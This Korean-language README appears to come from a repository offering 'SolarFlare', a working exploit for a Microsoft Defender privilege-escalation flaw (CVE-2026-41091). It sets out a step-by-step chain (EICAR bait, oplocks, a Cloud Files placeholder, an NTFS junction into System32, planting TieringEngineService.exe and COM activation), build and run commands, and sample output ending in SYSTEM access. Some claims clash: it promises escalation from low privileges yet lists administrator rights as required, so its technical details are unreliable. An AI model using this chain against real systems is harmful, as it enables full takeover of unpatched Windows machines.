SolarFlare

☀️ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE 익스플로잇

Microsoft Defender 링크 추적 취약점 - NT AUTHORITY\SYSTEM으로의 로컬 권한 상승

이 취약점은 "RedSun" 🎯으로 알려져 있으며, "SolarFlare"는 제가 만든 익스플로잇의 이름입니다. ✅

📌 개요

이 저장소는 Microsoft Defender(Microsoft Malware Protection Engine)의 심각한 로컬 권한 상승 취약점인 CVE-2026-41091에 대한 완전히 동작하는 개념 증명(PoC) 익스플로잇을 포함합니다. 잘못된 링크 확인(CWE-59)을 악용하여, 인증된 낮은 권한의 공격자가 NT AUTHORITY\SYSTEM 권한을 획득할 수 있습니다.

"RedSun" 또는 **"SolarFlare"**로도 알려진 이 취약점은 공격자가 Cloud Files API(CfAPI)와 NTFS 접합 지점을 사용하여 Microsoft Defender를 속여 SYSTEM 권한으로 보호된 시스템 위치에 임의의 파일을 쓰게 할 수 있게 합니다.

참고: 이 저장소에는 두 가지 버전이 포함되어 있습니다:

basic_poc.cpp - 단순화된 알고리즘 데모(교육용)

full_poc.cpp - 모든 기능을 갖춘 완전한 동작 익스플로잇

🔥 주요 기능

범주	기능
악용	✅ SYSTEM으로의 로컬 권한 상승 ✅ Cloud Files API(CfAPI) 통합 ✅ 클라우드 자리 표시자 생성 ✅ NTFS 접합 지점 리디렉션
기법	✅ 배치 Oplock 남용 ✅ VSS 스냅샷 감지 ✅ EICAR 트리거 ✅ COM 서비스 활성화
대상	✅ Microsoft Defender < 1.1.26040.8 ✅ Windows 10/11 ✅ Windows Server 2019/2022
사용성	✅ 상세 로깅 ✅ 오류 처리 ✅ 임의 디렉터리 이름 ✅ 자동 정리

🎯 취약점 세부 정보

속성	값
CVE ID	CVE-2026-41091
CVSS 점수	7.8 (높음)
CVSS 벡터	AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
공격 벡터	로컬
필요한 권한	낮음
사용자 상호작용	없음
영향	SYSTEM 수준 코드 실행
CISA KEV	✅ 예 (실제 환경에서 활발히 악용됨)
패치 제공	Microsoft Malware Protection Engine 1.1.26040.8

📦 영향받는 제품

제품	영향받는 버전	수정 버전
Microsoft Malware Protection Engine	< 1.1.26040.8	1.1.26040.8+
Microsoft Defender Antimalware Platform	< 4.18.26040.7	4.18.26040.7+

🔬 익스플로잇 체인

┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN                                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│ 1. Create Working Directory                                                 │
│    └─> %TEMP%\SF-XXXX\                                                      │
│                                                                              │
│ 2. Trigger Defender with EICAR                                              │
│    └─> Write reversed EICAR to bait file                                    │
│                                                                              │
│ 3. Wait for VSS Snapshot                                                    │
│    └─> Detect Volume Shadow Copy creation                                   │
│                                                                              │
│ 4. Create First Batch Oplock                                                │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file                              │
│                                                                              │
│ 5. Wait for Oplock Break                                                    │
│    └─> Acquire exclusive access                                             │
│                                                                              │
│ 6. Rename Directory                                                         │
│    └─> Move original directory to .tmp                                      │
│                                                                              │
│ 7. Register Cloud Sync Root                                                 │
│    └─> CfRegisterSyncRoot with Cloud Files API                              │
│                                                                              │
│ 8. Create Cloud Placeholder                                                 │
│    └─> CfCreatePlaceholders for bait file                                   │
│                                                                              │
│ 9. Create Second Batch Oplock                                               │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder                      │
│                                                                              │
│ 10. Wait for Second Oplock Break                                            │
│     └─> Acquire exclusive access                                            │
│                                                                              │
│ 11. Rename Cloud Directory                                                  │
│     └─> Move cloud directory to .cloud.tmp                                  │
│                                                                              │
│ 12. Create NTFS Junction to System32                                        │
│     └─> Redirect to C:\Windows\System32                                     │
│                                                                              │
│ 13. Copy Payload to System32                                                │
│     └─> Copy bait file to System32 as TieringEngineService.exe              │
│                                                                              │
│ 14. Activate Service as SYSTEM                                              │
│     └─> CoCreateInstance(StorageTiersManagement)                            │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

📦 설치

사전 요구 사항

Windows 10/11 또는 Windows Server 2019/2022
C++ 도구가 포함된 Visual Studio 2019/2022
관리자 권한(실행에 필요)

빌드

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit

# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

🛠️ 사용 방법

전체 익스플로잇(SYSTEM 권한 상승)

full_poc.exe

기본 알고리즘 데모

basic_poc.exe

📋 예제 출력

전체 익스플로잇 출력

CVE-2026-41091 SolarFlare PoC
===============================
     by @tc4dy | CVSS 7.8
===============================

[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM

[+] SYSTEM access obtained!

기본 PoC 출력

CVE-2026-41091 Basic PoC
========================================
  Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe

[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.

🔧 빌드 지침

Visual Studio 사용

VS 2022용 개발자 명령 프롬프트를 엽니다.
익스플로잇 디렉터리로 이동합니다.
다음을 실행합니다:

# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

CMake 사용

cmake_minimum_required(VERSION 3.10)
project(SolarFlare)

set(CMAKE_CXX_STANDARD 17)

add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)

add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)

⚠️ 요구 사항 및 제한 사항

요구 사항	세부 사항
OS	Windows 10/11, Server 2019/2022
권한	관리자(실행에 필요)
Defender	Microsoft Defender가 활성화되어 있어야 함
인터넷	VSS 스냅샷 감지에 필요
패치	패치되지 않은 시스템에서만 동작
아키텍처	x64 전용

🔗 관련 익스플로잇

제 다른 익스플로잇 저장소도 확인해 보세요:

CVE-2026-24061-PoC-Exploit - GNU inetutils-telnetd 인증 우회
CVE-2026-41940-PoC-Exploit - cPanel/WHM 인증 우회 익스플로잇
CVE-2026-0073-PoC-Exploit - Android ADB 무선 디버깅 인증 우회

CVE-2026-41091-PoC-Exploit Full-PoCv2

카테고리